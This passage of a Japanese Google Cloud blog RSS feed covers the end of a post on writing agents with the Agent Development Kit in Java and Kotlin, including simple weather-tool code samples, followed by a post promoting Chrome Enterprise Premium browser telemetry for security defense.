エージェントを直接実行することができます。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Java&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://github.com/google/adk-java/blob/main/tutorials/city-time-weather/src/main/java/com/google/adk/tutorials/CityTimeWeather.java" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Java&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; は、Maven、Gradle、Spring Boot で標準化している場合に最適です。メソッド パラメータに &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Schema&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; アノテーションを追加し、Fluent API である &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;LlmAgent.builder()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を使用してエージェントを組み立てます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;public class WeatherTools {\r\n  public static Map&amp;lt;String, String&amp;gt; getWeather(\r\n      @Schema(name = &amp;quot;city&amp;quot;, description = &amp;quot;The name of the city&amp;quot;)\r\n      String city) {\r\n    return Map.of(&amp;quot;status&amp;quot;, &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot;, &amp;quot;Sunny and 72F in &amp;quot; + city);\r\n  }\r\n}\r\n\r\nLlmAgent agent = LlmAgent.builder()\r\n    .name(&amp;quot;weather_agent&amp;quot;)\r\n    .model(&amp;quot;gemini-3.8-flash&amp;quot;)\r\n    .instruction(&amp;quot;Answer questions about the weather in a city.&amp;quot;)\r\n    .tools(FunctionTool.create(WeatherTools.class, &amp;quot;getWeather&amp;quot;))\r\n    .build();&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a78f50&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;実行時には、ランナーが&lt;/span&gt;&lt;a href="https://github.com/ReactiveX/RxJava" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;RxJava&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を介してエージェント イベントをリアクティブにストリーミングします。ローカルテストと既存の JVM アプリ向けに、ADK for Java には Maven Dev UI プラグインと、Spring AI および LangChain4j 用のファーストパーティ ブリッジが提供されています。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Kotlin&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://github.com/google/adk-kotlin/blob/main/examples/src/main/kotlin/com/google/adk/kt/examples/tools/FunctionToolDemoAgent.kt" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; は、ビルド時の安全性を重視しています。&lt;/span&gt;&lt;a href="https://kotlinlang.org/docs/ksp-overview.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Kotlin Symbol Processing（KSP）&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;コンパイラ プラグインが、ビルド時に &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Tool&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; アノテーションと &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Param&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; アノテーションを読み取り、ツールスキーマをバイトコードに直接出力します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;class WeatherTools {\r\n  @Tool(\r\n    name = &amp;quot;get_weather&amp;quot;,\r\n    description = &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n  )\r\n  suspend fun getWeather(\r\n    @Param(&amp;quot;The name of the city.&amp;quot;) city: String\r\n  ): Map&amp;lt;String, String&amp;gt; = mapOf(&amp;quot;status&amp;quot; to &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot; to &amp;quot;Sunny and 72F in $city&amp;quot;)\r\n}\r\n\r\nval agent = LlmAgent(\r\n  model = Gemini(&amp;quot;gemini-3.8-flash&amp;quot;),\r\n  name = &amp;quot;weather_agent&amp;quot;,\r\n  instruction = Instruction(&amp;quot;Answer questions about the weather in a city.&amp;quot;),\r\n  tools = WeatherTools().generatedTools(),\r\n)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26a7bc10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ツール シグネチャが、サポートされていない型を使用したり、null 非許容パラメータにデフォルト値を宣言したりした場合、本番環境で問題が発生するのではなく、Gradle ビルドがただちに失敗します。&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;.generatedTools()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; 関数はランタイム リフレクションを使用しないため、&lt;/span&gt;&lt;a href="https://developer.android.com/topic/performance/app-optimization/enable-app-optimization" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Android R8 圧縮&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;後も保持されます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;リフレクションを使用しないこの設計により、エージェント ループ全体を Android 上でローカルに実行できます。また、JVM サーバーをサポートしており、Spring AI ブリッジや試験運用版の ADK 2.0 グラフ ワークフローなどを使用できます。オンデバイスでは、ADK for Kotlin は&lt;/span&gt;&lt;a href="https://ai.google.dev/edge/litert-lm" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;LiteRT-LM&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（ツール呼び出し）および&lt;/span&gt;&lt;a href="https://developers.google.com/ml-kit/genai" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ML Kit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（Gemini Nano、テキスト生成）と統合できます。さらに、Room および AppSearch と連携してローカル状態を管理したり、Android AppFunctions と連携して OS レベルのアクションを実行したりすることができ、このいずれにもネットワーク接続は必要ありません。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;妥協のない選択&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;ADK は 5 つの言語にネイティブで対応しているため、組織全体で 1 つのランタイムに統一する必要がありません。すべてのバージョンが MCP と A2A に対応しており、システムの各コンポーネントで最適な言語を使用できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google の ADK で、どの言語を使用してエージェントを構築しましたか？皆様がどのようなスタックを使用しているか、&lt;/span&gt;&lt;a href="https://x.com/kweinmeister" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;X&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://www.linkedin.com/in/karlweinmeister/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;LinkedIn&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://bsky.app/profile/kweinmeister.bsky.social" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Bluesky&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; でぜひ教えてください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;- デベロッパーリレーションズ担当ディレクター、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Karl Weinmeister&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 21 Oct 2026 02:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/topics/developers-practitioners/one-agent-development-kit-five-languages/</guid><category>Developers &amp; Practitioners</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-her.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Agent Development Kit は 5 つの言語に対応</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-her.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/topics/developers-practitioners/one-agent-development-kit-five-languages/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Karl Weinmeister</name><title>Director, Developer Relations</title><department></department><company></company></author></item><item><title>ブラウザベースのセキュリティの未来: ブラウザデータを活用してプロアクティブな防御を実現</title><link>https://cloud.google.com/blog/ja/products/chrome-enterprise/the-future-of-browser-based-security-leveraging-browser-data-for-proactive-defense/</link><description>&lt;div class="block-paragraph"&gt;&lt;p data-block-key="us4w0"&gt;※この投稿は米国時間 2026 年 10 月 2 日に、Google Cloud blog に&lt;a href="https://cloud.google.com/blog/products/chrome-enterprise/the-future-of-browser-based-security-leveraging-browser-data-for-proactive-defense?e=0&amp;amp;hl=en"&gt;投稿&lt;/a&gt;されたものの抄訳です。&lt;/p&gt;&lt;p data-block-key="89h9f"&gt;ブラウザは大きく変化しました。現代の企業では、ウェブへの入口としてだけでなく、AI ワークスペースとしても機能し、中心的な運用環境となっています。ナレッジ ワーカーは勤務時間の 56% 以上でブラウザを使用しており、ブラウザは日常業務、複雑なワークフロー、自律型 AI エージェントとの直接的なやり取りのための主要な場所であると言えます（&lt;a href="https://services.google.com/fh/files/misc/omdiareport.pdf" target="_blank"&gt;Omdia&lt;/a&gt;、2026 年）。脅威アクターに対抗するには、ブラウザ テレメトリーをセキュリティ アーキテクチャの中心に据えたブラウザ戦略が必要です。&lt;/p&gt;&lt;p data-block-key="ef1n2"&gt;&lt;b&gt;シャドー AI の登場とエージェントがもたらすリスク&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="8jt26"&gt;さまざまな企業が AI を導入する中、新たな脆弱性が生じています。シャドー AI（一般公開されている生成 AI ツールを未承認で使用すること）は、プロンプトの共有や自律型エージェントのアクションを通じて、企業の機密 IP を漏洩させる可能性があります。92% の組織が、これらのチャネルを通じたデータ漏洩の危険性に懸念を示しています。こうした状態を監視せずに放置すると、重大なリスクが生じます（&lt;a href="https://services.google.com/fh/files/misc/omdiareport.pdf" target="_blank"&gt;Omdia&lt;/a&gt;、2026 年）。&lt;/p&gt;&lt;p data-block-key="2j4ka"&gt;そもそも従来のセキュリティ スタック（エンドポイントの検出と対応（EDR）や境界ファイアウォールなど）は、ブラウザ内のインタラクションを認識できません。AI 主導のワークフローに特有の、次のような高リスクの脅威ベクトルは完全に見逃されます。&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="dt4qa"&gt;機密性の高い財務データを「読み取る」、またはログインページにキーロガーを「書き込む」悪意のある拡張機能。&lt;/li&gt;&lt;li data-block-key="cukoc"&gt;「環境寄生型」（LOTL）戦術とセッション ハイジャック。&lt;/li&gt;&lt;li data-block-key="6g2s9"&gt;AI を利用して攻撃ライフサイクルを加速する、国家支援型脅威アクター。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="6lm8o"&gt;&lt;b&gt;Chrome Enterprise Premium: 高忠実度のテレメトリー エンジン&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="50jtm"&gt;Chrome Enterprise Premium は、ブラウザのテレメトリーを取り込むことで、この可視性のギャップを解消します。事後に外部から観察するのではなく、ユーザー インタラクションの時点でシグナルを直接記録します。&lt;/p&gt;&lt;p data-block-key="72c5p"&gt;&lt;b&gt;最新の防御の中核となる機能&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li data-block-key="4f600"&gt;&lt;b&gt;リアルタイム シグナル:&lt;/b&gt; ネットワーク イベント、リスクの高いユーザー行動、不審なドメイン アクセスに関する継続的なテレメトリー。&lt;/li&gt;&lt;li data-block-key="7ham"&gt;&lt;b&gt;拡張機能のテレメトリー:&lt;/b&gt; 従来の EDR では見逃される可能性のある、サイドローディングされた拡張機能や拡張機能とドメインの間の通信を詳細に可視化。&lt;/li&gt;&lt;li data-block-key="arnsf"&gt;&lt;b&gt;生成 AI と SaaS アプリのレポート:&lt;/b&gt; フリート全体で承認済みの AI ツールと未承認の AI ツールを検出して管理するための専用機能。&lt;/li&gt;&lt;li data-block-key="4h17o"&gt;&lt;b&gt;エビデンス ロッカー:&lt;/b&gt; DLP ポリシーに違反するファイルやコンテンツを取り込む機能。フォレンジック分析、根本原因の特定、検出ルールの改良に不可欠な証跡を提供します。&lt;/li&gt;&lt;/ul&gt;&lt;p data-block-key="7hb5n"&gt;&lt;b&gt;リアクティブなレビューからプロアクティブな緩和戦略への転換&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="c9ep4"&gt;プロアクティブな防御に移行することで、セキュリティ チームは脅威を早期に緩和できるようになります。ブラウザのシグナルを Google Security Operations などのセキュリティ運用プラットフォームにストリーミングすることで、対応を自動化し、手動での調査時間を短縮して、インシデント対応にかかる費用を削減できます。&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Blog_table_2000x1115_1.max-1000x1000.png"
        
          alt="Blog table_2000x1115 (1)"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph"&gt;&lt;p data-block-key="us4w0"&gt;&lt;b&gt;最前線からのインサイト: Mandiant の事例紹介&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="dotog"&gt;Mandiant の観測から、ブラウザの可視性が及ぼす実質的な効果が明らかになっています。これらの事例は、標準的な制御を回避する攻撃を検出するうえで、ブラウザのテレメトリーが果たす役割を示すものです。&lt;/p&gt;&lt;ol&gt;&lt;li data-block-key="c61cj"&gt;&lt;b&gt;RMM ソフトウェアのダウンロード:&lt;/b&gt; Chrome Enterprise Premium が、ある正規のリモート モニタリングおよび管理（RMM）実行可能ファイルにフラグを立てました。このファイルが新規登録されたドメインから配信されたものであったためです。新規登録されたドメインは、ネットワーク ツールが見落としがちなソーシャル エンジニアリングの重要な指標です。&lt;/li&gt;&lt;li data-block-key="2f7pm"&gt;&lt;b&gt;認証情報の窃取:&lt;/b&gt; Chrome Enterprise Premium が、インタラクションが発生した瞬間に URL のリスクとナビゲーション パラメータを評価し、ユーザーが認証情報を送信する前にフィッシングの試みを阻止しました。&lt;/li&gt;&lt;li data-block-key="rs0o"&gt;&lt;b&gt;マルバタイジング:&lt;/b&gt; Google Threat Intelligence との統合により、悪意のある広告クリックを即座に特定し、アクターがハンズオン キーボード攻撃を実行する前に脅威を封じ込めました。&lt;/li&gt;&lt;/ol&gt;&lt;p data-block-key="2h02e"&gt;セキュリティ ギャップを解消するには、まずブラウザが企業セキュリティの重要なリソースであることを認識する必要があります。数十億台の保護されたデバイスに Google のテレメトリーを行き渡らせることで、組織は新たな AI を利用しながら防御の可視性を維持し、プロアクティブなセキュリティ戦略を推進できます（&lt;a href="https://safebrowsing.google.com/" target="_blank"&gt;Google セーフ ブラウジング&lt;/a&gt;）。&lt;/p&gt;&lt;p data-block-key="1ec4m"&gt;&lt;b&gt;セキュリティ ポスチャーの変革に向けて&lt;/b&gt;&lt;/p&gt;&lt;p data-block-key="7t3l5"&gt;セキュリティ戦略には盲点を残すべきではありません。ウェブ防御に関するさまざまな選択肢について詳しくは、Google のデジタル ペーパー「&lt;a href="https://chromeenterprise.google/engage/strengthening-secops-with-browser-telemetry/" target="_blank"&gt;Securing the Browser: How telemetry brings web defense into the next frontier&lt;/a&gt;」（ブラウザのセキュリティ確保: テレメトリーがウェブ防御を次のフロンティアに導く方法）をご覧ください。&lt;/p&gt;&lt;p data-block-key="21db3"&gt;このリソースでは、最新の防御のフレームワークを概説し、敵対者の戦術、感染経路、脅威の傾向について詳しく説明しています。このデジタルペーパーで、組織のブラウザ セキュリティ戦略を評価しましょう。&lt;/p&gt;&lt;p data-block-key="7bja3"&gt;&lt;b&gt;&lt;i&gt;-&lt;/i&gt;&lt;/b&gt; &lt;i&gt;Chrome Enterprise、シニア プロダクト マネージャー、&lt;/i&gt;&lt;b&gt;&lt;i&gt;Niamh Cunningham&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 21 Oct 2026 00:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/chrome-enterprise/the-future-of-browser-based-security-leveraging-browser-data-for-proactive-defense/</guid><category>Chrome Enterprise</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/Browser_Telemetry_Whitepapee_BlogHeader_2436.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>ブラウザベースのセキュリティの未来: ブラウザデータを活用してプロアクティブな防御を実現</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/Browser_Telemetry_Whitepapee_BlogHeader_2436.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/chrome-enterprise/the-future-of-browser-based-security-leveraging-browser-data-for-proactive-defense/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Niamh Cunningham</name><title>Senior Product Manager, Chrome Enterprise</title><department></department><company></company></author></item></channel></rss>